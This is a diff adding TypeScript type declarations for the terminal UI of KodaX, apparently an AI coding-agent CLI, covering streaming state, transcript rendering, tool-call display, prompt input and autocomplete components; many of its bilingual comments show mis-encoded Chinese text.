+    /** 閲嶇疆鐘舵€?*/
+    reset: () => void;
+    /** 寮€濮?thinking */
+    startThinking: () => void;
+    /** 杩藉姞 thinking 瀛楃鏁?*/
+    appendThinkingChars: (count: number) => void;
+    /** 杩藉姞 thinking 鍐呭 */
+    appendThinkingContent: (text: string) => void;
+    /** 缁撴潫 thinking */
+    stopThinking: () => void;
+    /** 娓呯┖ thinking 鍐呭 (鍝嶅簲瀹屾垚鏃惰皟鐢? */
+    clearThinkingContent: () => void;
+    /** 璁剧疆褰撳墠宸ュ叿 */
+    setCurrentTool: (tool: string | undefined) => void;
+    /** 杩藉姞宸ュ叿杈撳叆瀛楃鏁?*/
+    appendToolInputChars: (count: number) => void;
+    /** 杩藉姞宸ュ叿杈撳叆鍐呭 */
+    appendToolInputContent: (text: string) => void;
+    /** 娓呯┖宸ュ叿杈撳叆鍐呭 */
+    clearToolInputContent: () => void;
+    /** 鑾峰彇褰撳墠鐨?AbortSignal (鐢ㄤ簬浼犻€掔粰 API 璇锋眰) */
+    getSignal: () => AbortSignal | undefined;
+    /** 鑾峰彇瀹屾暣鍝嶅簲鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級- 鐢ㄤ簬涓柇鏃朵繚瀛?*/
+    getFullResponse: () => string;
+    /** 鑾峰彇瀹屾暣 thinking 鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級- 鐢ㄤ簬鎸佷箙鍖栧巻鍙茶褰?*/
+    getThinkingContent: () => string;
+    /** Start a new iteration - saves current content to history and clears for next round - 寮€濮嬫柊杩唬锛屼繚瀛樺綋鍓嶅唴瀹瑰埌鍘嗗彶骞舵竻绌?*/
+    startNewIteration: (iteration: number) => void;
+    /** Clear iteration history - 娓呯┖杩唬鍘嗗彶 */
+    clearIterationHistory: () => void;
+    /** Set maximum iterations - 璁剧疆鏈€澶ц凯浠ｆ鏁?*/
+    setMaxIter: (maxIter: number) => void;
+    /** 寮€濮嬪帇缂╀笂涓嬫枃 */
+    startCompacting: () => void;
+    /** 缁撴潫鍘嬬缉涓婁笅鏂?*/
+    stopCompacting: () => void;
+    addPendingInput: (input: string) => void;
+    removeLastPendingInput: () => void;
+    shiftPendingInput: () => string | undefined;
+    clearPendingInputs: () => void;
+    consumePendingInputs: () => string[];
+}
+/**
+ * State change listener - 鐘舵€佸彉鏇寸洃鍚櫒
+ */
+type StreamingStateListener = (state: StreamingContextValue) => void;
+/**
+ * Streaming manager interface - 娴佸紡绠＄悊鍣ㄦ帴鍙?
+ */
+interface StreamingManager {
+    /** 鑾峰彇褰撳墠鐘舵€?*/
+    getState: () => StreamingContextValue;
+    /** 璁剧疆娴佸紡鐘舵€?*/
+    setState: (state: StreamingState) => void;
+    /** 寮€濮嬫祦寮忓搷搴?*/
+    startStreaming: () => void;
+    /** 鍋滄娴佸紡鍝嶅簲 */
+    stopStreaming: () => void;
+    /** 杩藉姞鍝嶅簲鏂囨湰 */
+    appendResponse: (text: string) => void;
+    /** 娓呯┖鍝嶅簲 */
+    clearResponse: () => void;
+    /** 璁剧疆閿欒 */
+    setError: (error: string | undefined) => void;
+    /** 鍙栨秷褰撳墠娴佸紡鍝嶅簲 */
+    abort: (options?: AbortOptions) => void;
+    /** 閲嶇疆鐘舵€?*/
+    reset: () => void;
+    /** 鏄惁姝ｅ湪娴佸紡浼犺緭 */
+    isStreaming: () => boolean;
+    /** 璁㈤槄鐘舵€佸彉鏇?*/
+    subscribe: (listener: StreamingStateListener) => () => void;
+    /** 寮€濮?thinking */
+    startThinking: () => void;
+    /** 杩藉姞 thinking 瀛楃鏁?*/
+    appendThinkingChars: (count: number) => void;
+    /** 杩藉姞 thinking 鍐呭 */
+    appendThinkingContent: (text: string) => void;
+    /** 缁撴潫 thinking */
+    stopThinking: () => void;
+    /** 娓呯┖ thinking 鍐呭 (鍝嶅簲瀹屾垚鏃惰皟鐢? */
+    clearThinkingContent: () => void;
+    /** 璁剧疆褰撳墠宸ュ叿 */
+    setCurrentTool: (tool: string | undefined) => void;
+    /** 杩藉姞宸ュ叿杈撳叆瀛楃鏁?*/
+    appendToolInputChars: (count: number) => void;
+    /** 杩藉姞宸ュ叿杈撳叆鍐呭 */
+    appendToolInputContent: (text: string) => void;
+    /** 娓呯┖宸ュ叿杈撳叆鍐呭 */
+    clearToolInputContent: () => void;
+    /** 鑾峰彇褰撳墠鐨?AbortSignal */
+    getSignal: () => AbortSignal | undefined;
+    /** 鑾峰彇瀹屾暣鍝嶅簲鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級 */
+    getFullResponse: () => string;
+    /** 鑾峰彇瀹屾暣 thinking 鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級 */
+    getThinkingContent: () => string;
+    /** Start a new iteration - 寮€濮嬫柊杩唬 */
+    startNewIteration: (iteration: number) => void;
+    /** Clear iteration history - 娓呯┖杩唬鍘嗗彶 */
+    clearIterationHistory: () => void;
+    /** Set maximum iterations - 璁剧疆鏈€澶ц凯浠ｆ鏁?*/
+    setMaxIter: (maxIter: number) => void;
+    /** Start compacting context - 寮€濮嬪帇缂╀笂涓嬫枃 */
+    startCompacting: () => void;
+    /** Stop compacting context - 缁撴潫鍘嬬缉涓婁笅鏂?*/
+    stopCompacting: () => void;
+    addPendingInput: (input: string) => void;
+    removeLastPendingInput: () => void;
+    shiftPendingInput: () => string | undefined;
+    clearPendingInputs: () => void;
+    consumePendingInputs: () => string[];
+    /**
+     * FEATURE_159 (v0.7.40) — release the queue subscription set up at
+     * construction time. Production providers call this on unmount;
+     * tests call it between cases to prevent stale listeners on the
+     * process-global MessageQueue singleton.
+     */
+    dispose: () => void;
+}
+/**
+ * Create streaming manager - 鍒涘缓娴佸紡绠＄悊鍣?
+ *
+ * Issue 048 fix: Use batch updates to reduce render frequency - Issue 048 淇: 浣跨敤鎵归噺鏇存柊鍑忓皯娓叉煋棰戠巼
+ * - Buffer streaming text and thinking content to 80ms cycle - 娴佸紡鏂囨湰鍜?thinking 鍐呭缂撳啿鍒?80ms 鍛ㄦ湡
+ * - Sync with Spinner animation to avoid race conditions - 涓?Spinner 鍔ㄧ敾鍚屾锛岄伩鍏嶇珵鎬佹潯浠?
+ */
+declare function createStreamingManager(): StreamingManager;
+interface StreamingProviderProps {
+    children: ReactNode;
+    onStateChange?: (state: StreamingContextValue) => void;
+}
+/**
+ * StreamingProvider - Provides streaming response management - 鎻愪緵娴佸紡鍝嶅簲绠＄悊
+ */
+declare function StreamingProvider({ children, onStateChange, }: StreamingProviderProps): React$1.ReactElement;
+/**
+ * Get streaming state - 鑾峰彇娴佸紡鐘舵€?
+ */
+declare function useStreamingState(): StreamingContextValue;
+/**
+ * Get streaming actions - 鑾峰彇娴佸紡鎿嶄綔
+ */
+declare function useStreamingActions(): StreamingActions;
+/**
+ * Get complete streaming state and actions - 鑾峰彇瀹屾暣娴佸紡鐘舵€佸拰鎿嶄綔
+ */
+declare function useStreaming(): {
+    state: StreamingContextValue;
+    actions: StreamingActions;
+    isStreaming: boolean;
+};
+
+/**
+ * TextInput - Multi-line text input component.
+ *
+ * Display text content and render cursor.
+ */
+
+interface TextInputProps {
+    lines: string[];
+    cursorRow: number;
+    cursorCol: number;
+    prompt?: string;
+    placeholder?: string;
+    focus?: boolean;
+    terminalFocused?: boolean;
+    isPasting?: boolean;
+    editingMode?: PromptEditingMode;
+    theme?: string;
+    width?: number;
+}
+declare const TextInput: React$1.FC<TextInputProps>;
+/**
+ * Single-line TextInput (simplified version).
+ */
+declare const SingleLineTextInput: React$1.FC<{
+    value: string;
+    cursorCol: number;
+    prompt?: string;
+    placeholder?: string;
+    focus?: boolean;
+    theme?: string;
+}>;
+
+/**
+ * InputPrompt - Input prompt component - 鏉堟挸鍙嗛幓鎰仛缂佸嫪娆?
+ *
+ * Integrates multi-line input, history navigation, keyboard shortcuts
+ * through a dedicated prompt input controller. - 闁俺绻冮悪顒傜彌閻ㄥ嫯绶崗銉﹀付閸掕泛娅掗梿鍡樺灇婢舵俺顢戞潏鎾冲弳閵嗕礁宸婚崣鎻掝嚤閼割亜鎷伴柨顔炬磸韫囶偅宓庨柨顔衡偓?
+ */
+
+/**
+ * Extended props for InputPrompt with autocomplete support
+ * InputPrompt 閻ㄥ嫭澧跨仦鏇炵潣閹嶇礉閺€顖涘瘮閼奉亜濮╃悰銉ュ弿
+ */
+interface InputPromptAutocompleteProps extends InputPromptProps {
+    /** Working directory for file completion - 閺傚洣娆㈢悰銉ュ弿閻ㄥ嫬浼愭担婊呮窗瑜?*/
+    cwd?: string;
+    /** Git root for skill discovery - 閹垛偓閼宠棄褰傞悳鎵畱 Git 閺嶅湱娲拌ぐ?*/
+    gitRoot?: string;
+    /** Whether autocomplete is enabled (default: true) - 閺勵垰鎯侀崥顖滄暏閼奉亜濮╃悰銉ュ弿閿涘牓绮拋銈忕窗true閿?*/
+    autocompleteEnabled?: boolean;
+}
+declare const InputPrompt: React$1.FC<InputPromptAutocompleteProps>;
+/**
+ * Simplified InputPrompt - single-line mode - 缁犫偓閸栨牜澧?InputPrompt - 閸楁洝顢戝Ο鈥崇础
+ */
+declare const SimpleInputPrompt: React$1.FC<{
+    onSubmit: (text: string) => void;
+    placeholder?: string;
+    prompt?: string;
+}>;
+
+interface StatusBarSegment {
+    id: string;
+    text: string;
+    color?: string;
+    tone?: "primary" | "accent" | "success" | "warning" | "error" | "dim";
+    bold?: boolean;
+}
+interface StatusBarViewModel {
+    text: string;
+    segments: StatusBarSegment[];
+}
+
+/**
+ * StatusBar - Bottom status bar component.
+ */
+
+interface StatusBarRendererProps extends StatusBarProps {
+    viewModel?: StatusBarViewModel;
+}
+
+declare const StatusBar: React$1.FC<StatusBarRendererProps>;
+declare const SimpleStatusBar: React$1.FC<{
+    permissionMode: string;
+    provider: string;
+    model: string;
+}>;
+
+interface ScrollBoxHandle {
+    scrollTo: (y: number) => void;
+    scrollBy: (dy: number) => void;
+    scrollToElement: (y: number, offset?: number) => void;
+    scrollToBottom: () => void;
+    getScrollTop: () => number;
+    getPendingDelta: () => number;
+    getScrollHeight: () => number;
+    getViewportHeight: () => number;
+    getViewportTop: () => number;
+    isSticky: () => boolean;
+    subscribe: (listener: () => void) => () => void;
+    setClampBounds: (min: number | undefined, max: number | undefined) => void;
+}
+interface ScrollBoxWindow {
+    start: number;
+    end: number;
+    scrollTop: number;
+    scrollHeight: number;
+    viewportHeight: number;
+    viewportTop: number;
+    pendingDelta: number;
+    sticky: boolean;
+}
+
+type TranscriptColorToken = "primary" | "secondary" | "accent" | "text" | "dim" | "thinking" | "success" | "warning" | "error" | "info" | "hint";
+interface TranscriptRow {
+    key: string;
+    text: string;
+    itemId?: string;
+    color?: TranscriptColorToken;
+    indent?: number;
+    bold?: boolean;
+    italic?: boolean;
+    spinner?: boolean;
+}
+interface TranscriptSection {
+    key: string;
+    rows: TranscriptRow[];
+}
+interface TranscriptRenderModel {
+    staticSections: TranscriptSection[];
+    sections: TranscriptSection[];
+    rows: TranscriptRow[];
+    previewSections: TranscriptSection[];
+    previewRows: TranscriptRow[];
+}
+
+interface TranscriptRowSelectionRange {
+    start: number;
+    end: number;
+}
+
+/**
+ * MessageList
+ *
+ * Reference Gemini CLI's message display architecture implementation.
+ * Support HistoryItem types: user, assistant, tool_group, thinking, error, event, info, and hint.
+ */
+
+interface MessageListProps {
+    /** History item list */
+    items: HistoryItem[];
+    /** Whether loading */
+    isLoading?: boolean;
+    /** Maximum display lines before truncation */
+    maxLines?: number;
+    /** Whether thinking output is currently being shown. */
+    isThinking?: boolean;
+    /** Character count for the current thinking output. */
+    thinkingCharCount?: number;
+    /** Thinking content shown during streaming. */
+    thinkingContent?: string;
+    /** Current streaming response text shown in real time. */
+    streamingResponse?: string;
+    /** Name of the tool currently being executed. */
+    currentTool?: string;
+    /** Tool calls in the active response, including completed items from the current live batch. */
+    activeToolCalls?: ToolCall[];
+    /** Character count for the current tool input preview. */
+    toolInputCharCount?: number;
+    /** Tool input content preview for display */
+    toolInputContent?: string;
+    /** Completed iteration history for the active response. */
+    iterationHistory?: IterationRecord[];
+    /** Sequence number for the active iteration. */
+    currentIteration?: number;
+    /** Whether context compaction is in progress */
+    isCompacting?: boolean;
+    /** Managed-task agent mode shown in live transcript state */
+    agentMode?: "sa" | "ama";
+    /** Managed-task phase shown in live transcript state */
+    managedPhase?: "starting" | "routing" | "preflight" | "round" | "worker" | "upgrade" | "verifying" | "completed";
+    /** Managed-task harness profile shown in live transcript state */
+    managedHarnessProfile?: string;
+    /** Managed-task active worker title shown in live transcript state */
+    managedWorkerTitle?: string;
+    /** Managed-task current round */
+    managedRound?: number;
+    /** Managed-task maximum rounds */
+    managedMaxRounds?: number;
+    /** Managed-task global work budget */
+    managedGlobalWorkBudget?: number;
+    /** Managed-task current work usage */
+    managedBudgetUsage?: number;
+    /** Whether the run is waiting on budget approval */
+    managedBudgetApprovalRequired?: boolean;
+    /** Last known live activity label used when the stream is between deltas */
+    lastLiveActivityLabel?: string;
+    /** Visible viewport rows for transcript slicing */
+    viewportRows?: number;
+    /** Optional width override for deterministic transcript layout */
+    viewportWidth?: number;
+    /** Scroll offset from the bottom of the transcript, in rendered rows */
+    scrollOffset?: number;
+    /** Whether spinner glyphs should animate in rendered rows */
+    animateSpinners?: boolean;
+    /** Whether to render the transcript as a windowed viewport owned by the app */
+    windowed?: boolean;
+    /** Whether thinking content should render in verbose form */
+    showFullThinking?: boolean;
+    /** Whether tool details should render in verbose form */
+    showDetailedTools?: boolean;
+    /** Whether transcript-only "show all" should disable compact truncation */
+    showAllContent?: boolean;
+    /** Whether prompt/live progress helper rows should render inside the transcript */
+    showLiveProgressRows?: boolean;
+    /** Optional selected transcript item id for browse mode affordances */
+    selectedItemId?: string;
+    /** Optional expanded transcript item ids */
+    expandedItemKeys?: ReadonlySet<string>;
+    /** Optional transcript metrics callback for owned scroll controllers */
+    onMetricsChange?: (metrics: {
+        scrollHeight: number;
+        viewportHeight: number;
+    }) => void;
+    /** Optional callback with the currently visible rows */
+    onVisibleRowsChange?: (snapshot: {
+        rows: TranscriptRow[];
+        allRows: TranscriptRow[];
+    }) => void;
+    /** Optional renderer-owned transcript window */
+    rendererWindow?: Pick<ScrollBoxWindow, "start" | "end" | "scrollHeight" | "viewportHeight" | "scrollTop" | "viewportTop" | "pendingDelta" | "sticky">;
+    /** Optional text selection ranges for app-owned transcript selection */
+    selectedTextRanges?: ReadonlyMap<string, TranscriptRowSelectionRange>;
+    /** Optional prebuilt transcript render model for owned fullscreen paths */
+    transcriptModel?: TranscriptRenderModel;
+    /** Optional precomputed visible transcript rows */
+    visibleRowsOverride?: TranscriptRow[];
+}
+interface HistoryItemRendererProps {
+    item: HistoryItem;
+    theme?: Theme;
+    maxLines?: number;
+}
+/**
+ * History item renderer
+ * Dispatch to corresponding renderer based on type
+ */
+declare const HistoryItemRenderer: React$1.FC<HistoryItemRendererProps>;
+declare const MessageList: React$1.FC<MessageListProps>;
+
+/**
+ * Simplified message display.
+ */
+declare const SimpleMessageDisplay: React$1.FC<{
+    role: "user" | "assistant" | "system";
+    content: string;
+}>;
+
+/**
+ * ToolGroup - Tool execution display component - 工具执行显示组件
+ *
+ * Reference Gemini CLI's tool execution display architecture implementation - 参考 Gemini CLI 的工具执行显示架构实现。
+ * Display tool call status, progress, and results - 显示工具调用状态、进度和结果。
+ */
+
+interface ToolGroupProps {
+    /** List of tool calls - 工具调用列表 */
+    tools: ToolCall[];
+    /** Whether to collapse display - 是否折叠显示 */
+    collapsed?: boolean;
+    /** Custom title - 自定义标题 */
+    title?: string;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+interface ToolCallDisplayProps {
+    /** Tool call - 工具调用 */
+    tool: ToolCall;
+    /** Whether collapsed - 是否折叠 */
+    collapsed?: boolean;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+interface ToolStatusBadgeProps {
+    /** Status - 状态 */
+    status: ToolCallStatus;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+interface ToolProgressBarProps {
+    /** Progress (0-100) - 进度 (0-100) */
+    progress: number;
+    /** Bar width - 条宽度 */
+    width?: number;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+/**
+ * Tool status badge - 工具状态徽章
+ */
+declare const ToolStatusBadge: React$1.FC<ToolStatusBadgeProps>;
+/**
+ * Tool progress bar - 工具进度条
+ */
+declare const ToolProgressBar: React$1.FC<ToolProgressBarProps>;
+/**
+ * Tool call display component - 工具调用显示组件
+ */
+declare const ToolCallDisplay: React$1.FC<ToolCallDisplayProps>;
+/**
+ * Tool group display component - 工具组显示组件
+ */
+declare const ToolGroup: React$1.FC<ToolGroupProps>;
+
+/**
+ * LoadingIndicator - Loading and thinking indicator component - 加载和思考指示器组件
+ *
+ * Reference Gemini CLI's loading display architecture implementation.
+ * Provide multiple loading state visualization methods - 参考 Gemini CLI 的加载显示架构实现，提供多种加载状态可视化方式。
+ */
+
+type LoadingIndicatorType = "spinner" | "dots" | "bar" | "simple";
+interface LoadingIndicatorProps {
+    /** Main message - 主消息 */
+    message?: string;
+    /** Sub message - 子消息 */
+    subMessage?: string;
+    /** Progress (0-100) - 进度 (0-100) */
+    progress?: number;
+    /** Type - 类型 */
+    type?: LoadingIndicatorType;
+    /** Compact mode - 紧凑模式 */
+    compact?: boolean;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+interface ThinkingIndicatorProps {
+    /** Custom message - 自定义消息 */
+    message?: string;
+    /** Show spinner - 显示旋转器 */
+    showSpinner?: boolean;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+interface SpinnerProps {
+    /** Color - 颜色 */
+    color?: string;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+interface DotsIndicatorProps {
+    /** Label - 标签 */
+    label?: string;
+    /** Dot count - 点数量 */
+    dotCount?: number;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+interface ProgressIndicatorProps {
+    /** Progress (0-100) - 进度 (0-100) */
+    progress: number;
+    /** Label - 标签 */
+    label?: string;
+    /** Bar width - 条宽度 */
+    width?: number;
+    /** Theme - 主题 */
+    theme?: Theme;
+}
+/**
+ * Spinner — braille-glyph rotation tied to the shared 80ms tick. Used
+ * standalone (e.g. assistant header) and inside `TranscriptRowRenderer`'s
+ * loading-indicator row. All instances cycle in lockstep.
+ */
+declare const Spinner: React$1.FC<SpinnerProps>;
+/**
+ * Dots indicator component - 点指示器组件
+ */
+declare const DotsIndicator: React$1.FC<DotsIndicatorProps>;
+/**
+ * Progress indicator component - 进度指示器组件
+ */
+declare const ProgressIndicator: React$1.FC<ProgressIndicatorProps>;
+/**
+ * Thinking indicator component - 思考指示器组件
+ */
+declare const ThinkingIndicator: React$1.FC<ThinkingIndicatorProps>;
+/**
+ * Loading indicator component - 加载指示器组件
+ */
+declare const LoadingIndicator: React$1.FC<LoadingIndicatorProps>;
+
+/**
+ * SuggestionsDisplay - Autocomplete suggestion display component - 自动补全建议显示组件
+ *
+ * Display autocomplete suggestions list with support for:
+ * - Highlight selected item - 高亮选中项
+ * - Scroll display (when suggestions exceed max visible) - 滚动显示（当建议数量超过最大可见数）
+ * - Description display - 描述显示
+ * - Type icons - 类型图标
+ */
+
+interface SuggestionsDisplayProps {
+    /** Suggestion list - 建议列表 */
+    suggestions: Suggestion[];
+    /** Current selected index - 当前选中索引 */
+    selectedIndex: number;
+    /** Whether visible - 是否可见 */
+    visible: boolean;
+    /** Maximum visible count - 最大可见数量 */
+    maxVisible?: number;
+    /** Container width - 容器宽度 */
+    width?: number;
+    /** Whether to show count - 是否显示计数 */
+    showCount?: boolean;
+}
+/**
+ * Suggestion display component - 建议显示组件
+ */
+declare function SuggestionsDisplay({ suggestions, selectedIndex, visible, maxVisible, width, showCount, }: SuggestionsDisplayProps): React$1.ReactElement | null;
+
+interface PendingInputsIndicatorProps {
+    pendingInputs: readonly string[];
+}
+declare const PendingInputsIndicator: React$1.FC<PendingInputsIndicatorProps>;
+
+interface FullscreenTranscriptChromeSlot {
+    visible?: boolean;
+    label?: string;
+    hint?: string;
+    onTrigger?: () => void;
+    tone?: "dim" | "accent";
+}
+interface FullscreenTranscriptLayoutProps {
+    top?: React$1.ReactNode;
+    topRows?: number;
+    transcript?: React$1.ReactNode;
+    renderTranscriptWindow?: (window: ScrollBoxWindow) => React$1.ReactNode;
+    footer: React$1.ReactNode;
+    overlay?: React$1.ReactNode;
+    stickyHeader?: FullscreenTranscriptChromeSlot;
+    jumpToLatest?: FullscreenTranscriptChromeSlot;
+    width?: number;
+    scrollTop?: number;
+    scrollHeight?: number;
+    viewportHeight?: number;
+    stickyScroll?: boolean;
+    scrollRef?: React$1.Ref<ScrollBoxHandle>;
+    onScrollTopChange?: (nextScrollTop: number) => void;
+    onStickyChange?: (sticky: boolean) => void;
+    onWindowChange?: (window: ScrollBoxWindow) => void;
+}
+declare const FullscreenTranscriptLayout: React$1.FC<FullscreenTranscriptLayoutProps>;
+
+interface TranscriptViewportBrowseState {
+    hintText?: string;
+}
+interface TranscriptViewportSelectionState {
+    itemSummary?: string;
+    itemKind?: string;
+    position?: {
+        current: number;
+        total: number;
+    };
+    detailState?: "compact" | "expanded";
+    copyCapabilities?: {
+        message?: boolean;
+        toolInput?: boolean;
+        copyOnSelect?: boolean;
+    };
+    toggleDetail?: boolean;
+    navigationCapabilities?: {
+        selection?: boolean;
+    };
+}
+interface TranscriptViewportSearchState {
+    query?: string;
+    matches?: Array<{
+        itemId: string;
+        excerpt: string;
+    }>;
+    currentMatchIndex?: number;
+    anchorItemId?: string;
+    statusText?: string;
+    surface?: React$1.ReactNode;
+    onNext?: () => void;
+    onPrev?: () => void;
+}
+interface TranscriptViewportProps extends MessageListProps {
+    browse?: TranscriptViewportBrowseState;
+    selection?: TranscriptViewportSelectionState;
+    search?: TranscriptViewportSearchState;
+    chromeMode?: "inline" | "hidden";
+}
+declare const TranscriptViewport: React$1.FC<TranscriptViewportProps>;
+
+interface PromptComposerProps extends InputPromptAutocompleteProps {
+}
+declare const PromptComposer: React$1.FC<PromptComposerProps>;
+
+interface PromptFooterSurfaceItem {
+    id: string;
+    label: string;
+    accent?: boolean;
+}
+interface PromptFooterLeftSideProps {
+    items?: readonly PromptFooterSurfaceItem[];
+}
+declare const PromptFooterLeftSide: React$1.FC<PromptFooterLeftSideProps>;
+interface PromptFooterRightSideProps {
+    items?: readonly PromptFooterSurfaceItem[];
+}
+declare const PromptFooterRightSide: React$1.FC<PromptFooterRightSideProps>;
+interface PromptFooterProps {
+    left?: React$1.ReactNode;
+    right?: React$1.ReactNode;
+    queued?: React$1.ReactNode;
+    stashNotice?: React$1.ReactNode;
+    notifications?: React$1.ReactNode;
+    inlineNotices?: React$1.ReactNode;
+    activityBar?: React$1.ReactNode;
+    /**
+     * FEATURE_097 (v0.7.34) — todo list slot. Mounted between the
+     * activity bar (spinner) and the composer so the Scout-seeded plan
+     * list sits directly under the spinner, above the user prompt and
+     * the BackgroundTaskBar. Layout reference: docs/features/v0.7.34.md
+     * §"挂载点".
+     */
+    todoSurface?: React$1.ReactNode;
+    composer: React$1.ReactNode;
+    inlineSuggestions?: React$1.ReactNode;
+    helpSurface?: React$1.ReactNode;
+    taskBar?: React$1.ReactNode;
+    statusLine?: React$1.ReactNode;
+    inlineDialogs?: React$1.ReactNode;
+}
+declare const PromptFooter: React$1.FC<PromptFooterProps>;
+
+interface HelpMenuItem {
+    id: string;
+    label: string;
+}
+interface HelpMenuSection {
+    id: string;
+    title: string;
+    items: HelpMenuItem[];
+}
+
+interface PromptHelpMenuProps {
+    sections: HelpMenuSection[];
+    title?: string;
+}
+declare const PromptHelpMenu: React$1.FC<PromptHelpMenuProps>;
+
+interface PromptSuggestionsSurfaceProps {
+    reserveSpace: boolean;
+    width: number;
+    hidden?: boolean;
+    mode?: "inline" | "overlay";
+}
+declare const PromptSuggestionsSurface: React$1.FC<PromptSuggestionsSurfaceProps>;
+
+interface DialogSelectOption {
+    value: string;
+    label: string;
+    description?: string;
+}
+interface DialogSurfaceConfirmState {
+    prompt: string;
+    instruction?: string;
+    /**
+     * FEATURE_075: full plan content rendered in a scrollable panel for
+     * `exit_plan_mode` approval. Arrow keys and PgUp/PgDn scroll the plan
+     * inside the dialog while the approval buttons stay pinned.
+     */
+    planContent?: string;
+}
+interface DialogSurfaceUIRequestState {
+    kind: "select" | "input";
+    title?: string;
+    prompt?: string;
+    options?: DialogSelectOption[];
+    defaultValue?: string;
+    buffer: string;
+    error?: string;
+    visibleSelectOptions?: number;
+    /** Index of the currently focused option (arrow-key navigation). */
+    focusedIndex?: number;
+    /** Indices of selected options (multiSelect mode). */
+    selectedIndices?: number[];
+    /** Whether this is a multi-select dialog. */
+    multiSelect?: boolean;
+}
+interface DialogSurfaceProps {
+    confirm?: DialogSurfaceConfirmState | null;
+    request?: DialogSurfaceUIRequestState | null;
+}
+declare const DialogSurface: React$1.FC<DialogSurfaceProps>;
+
+interface BackgroundTaskBarItem {
+    id: string;
+    label: string;
+    accent?: boolean;
+    selected?: boolean;
+    hint?: string;
+}
+interface BackgroundTaskBarProps {
+    items: readonly BackgroundTaskBarItem[];
+    overflowLabel?: string;
+    ctaHint?: string;
+    showSpinner?: boolean;
+}
+declare const BackgroundTaskBar: React$1.FC<BackgroundTaskBarProps>;
+
+interface QueuedCommandsSurfaceProps {
+    pendingInputs: readonly string[];
+}
+declare const QueuedCommandsSurface: React$1.FC<QueuedCommandsSurfaceProps>;
+
+interface StatusNoticesSurfaceProps {
+    notices: readonly string[];
+}
+declare const StatusNoticesSurface: React$1.FC<StatusNoticesSurfaceProps>;
+
+interface NotificationSurfaceItem {
+    id: string;
+    text: string;
+    tone?: "info" | "warning" | "accent";
+}
+interface NotificationsSurfaceProps {
+    notifications: readonly NotificationSurfaceItem[];
+}
+declare const NotificationsSurface: React$1.FC<NotificationsSurfaceProps>;
+
+interface StashNoticeProps {
+    text?: string;
+}
+declare const StashNotice: React$1.FC<StashNoticeProps>;
+
+interface MessageSelectorProps {
+    itemSummary?: string;
+    itemKind?: string;
+    position?: {
+        current: number;
+        total: number;
+    };
+    detailState?: "compact" | "expanded";
+}
+declare const MessageSelector: React$1.FC<MessageSelectorProps>;
+
+interface MessageActionsProps {
+    copyMessage?: boolean;
+    copyToolInput?: boolean;
+    copyOnSelect?: boolean;
+    toggleDetail?: boolean;
+    selectionNavigation?: boolean;
+    matchNavigation?: boolean;
+    dismissAction?: "clear" | "close-search";
+}
+declare const MessageActions: React$1.FC<MessageActionsProps>;
+
+/**
+ * useTextBuffer - TextBuffer React Hook
+ *
+ * Integrates TextBuffer class with React state management - 将 TextBuffer 类与 React 状态管理集成
+ */
+
+interface UseTextBufferOptions {
+    initialValue?: string;
+    onTextChange?: (text: string) => void;
+}
+declare function useTextBuffer(options?: UseTextBufferOptions): UseTextBufferReturn;
+
+/**
+ * useKeypress - Keyboard event handling Hook
+ *
+ * Wraps KodaX's KeypressContext so UI keyboard handling stays on the local
+ * input pipeline instead of depending on Ink's useInput.
+ */
+
+interface UseKeypressOptions {
+    onKey?: (key: KeyInfo) => boolean;
+    onEsc?: () => void;
+    onCtrlC?: () => void;
+    enabled?: boolean;
+}
+declare function useKeypress(options?: UseKeypressOptions): {
+    lastEscTime: number;
+};
+declare function createKeyMatcher(key: KeyInfo): {
+    is: (name: string, modifiers?: {
+        ctrl?: boolean;
+        shift?: boolean;
+        meta?: boolean;
+    }) => boolean;
+    isCtrl: (name: string) => boolean;
+    isShift: (name: string) => boolean;
+    isArrow: () => boolean;
+    isChar: () => boolean;
+    getChar: () => string | null;
+};
+
+/**
+ * useInputHistory - Input history management Hook - 输入历史管理 Hook
+ *
+ * Manages command history, supports up/down arrow navigation.
+ *
+ * Module-scoped history store: the entries array lives at module scope so it
+ * survives PromptComposer unmount+remount (triggered e.g. by Ctrl+O transcript
+ * toggle in InkREPL). historyIndex / tempInput remain component-scoped so the
+ * nav cursor resets on remount, matching pre-existing user-visible behavior.
+ *
+ * Design: docs/features/v0.7.21.md FEATURE_077.
+ *
+ * Issue 121 extension: each entry may carry a `pastedContents` snapshot so
+ * recalled prompts containing `[Pasted text #N]` placeholders still expand
+ * to their original content when resubmitted. The module-scoped store keeps
+ * pasted content references alive across composer remounts within a session.
+ */
+
+interface AddHistoryOptions {
+    pastedContents?: PastedContent[];
+}
+interface UseInputHistoryOptions {
+    maxSize?: number;
+    onSave?: (entry: HistoryEntry) => void;
+}
+interface UseInputHistoryReturn {
+    add: (text: string, options?: AddHistoryOptions) => void;
+    navigateUp: () => HistoryEntry | null;
+    navigateDown: () => HistoryEntry | null;
+    reset: () => void;
+    saveTempInput: (text: string) => void;
+}
+declare function useInputHistory(options?: UseInputHistoryOptions): UseInputHistoryReturn;
+
+/**
+ * KodaX Autocomplete Module - 自动补全模块
+ *
+ * Provides Tab completion for file paths and commands
+ * 提供文件路径和命令的 Tab 补全功能
+ */
+/**
+ * Completion item - 补全项
+ */
+interface Completion {
+    text: string;
+    display: string;
+    description?: string;
+    type: 'file' | 'command' | 'argument' | 'skill';
+    /** Match score (internal use) - 匹配评分（内部使用） */
+    score?: number;
+}
+
+/**
+ * Autocomplete Provider - 自动补全提供者
+ *
+ * Combines all completers with fuzzy matching and debouncing.
+ * 组合所有补全器，提供模糊匹配和防抖功能。
+ *
+ * Features:
+ * - Auto-trigger on typing (debounced) - 输入时自动触发（防抖）
+ * - Fuzzy matching with scoring - 带评分的模糊匹配
+ * - Combined results from multiple completers - 多个补全器的组合结果
+ * - Keyboard navigation support - 键盘导航支持
+ */
+
+/**
+ * Autocomplete state for UI binding
